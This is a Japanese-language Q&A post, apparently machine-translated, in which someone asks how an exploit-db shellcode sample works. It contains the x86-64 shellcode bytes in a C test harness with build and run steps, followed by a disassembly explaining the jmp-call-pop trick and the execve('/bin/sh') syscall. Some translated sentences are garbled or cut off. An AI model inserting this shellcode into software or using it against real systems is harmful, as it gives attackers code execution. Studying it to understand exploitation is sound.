私はこのシェルコードを https://www.exploit-db.com/exploits/39624/ で見つけました:
#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
手順:
実行する方法
$ gcc -o sh_Shell sh_Shell.c
$ execstack -s sh_Shell
$ ./sh_Shell
誰かが実際にどのように機能するか説明できますか?
どのようにして何かに害を及ぼすことができますか?
sh
は何に使用されますか? ("뀋_H1ҀR^j;X耰bin/sh"
(Unicode)または"�_H1�R^j;X�����/bin/sh"
(ASCII)最後の6文字を除いて、あまり意味がありません。前にある文字は何ですか?)
ndisasm
を使用すると、sh
配列のデータを次の有効な64ビットx86マシンコードに分解できます。
00000000 EB0B jmp short 0xd
00000002 5F pop rdi
00000003 4831D2 xor rdx,rdx
00000006 52 Push rdx
00000007 5E pop rsi
00000008 6A3B Push byte +0x3b
0000000A 58 pop rax
0000000B 0F05 syscall
0000000D E8F0FFFFFF call qword 0x2
00000012 '/bin/sh'
カーネルsyscallを実行して/bin/sh
を実行するために、単純な位置独立シェルコードを探します。
最初の命令は/bin/sh
文字列の直前の命令にジャンプし、次にcall
を実行して2番目の命令に戻ります。次に、戻りアドレスがスタックからレジスタrdi
にポップされます。これは/bin/sh
文字列のメモリアドレスを取得するためのトリックです。シェルコードは、実行時にメモリ内のどこにあるのかを知らないためです。
次に、レジスタrdx
が0に設定され、スタックにプッシュされて、レジスタrsi
に戻されます。次に、バイト0x3bがスタックに一時停止され、レジスタrax
に再びポップされます。
これで、次のように設定されました。
/bin/sh
この時点で、syscall
を使用してカーネルに制御を渡します。ここで、rax
の引数0x3b
は、ポインターrdi
これをCに戻すと、基本的には次のようになります。
execve('/bin/sh', NULL, NULL);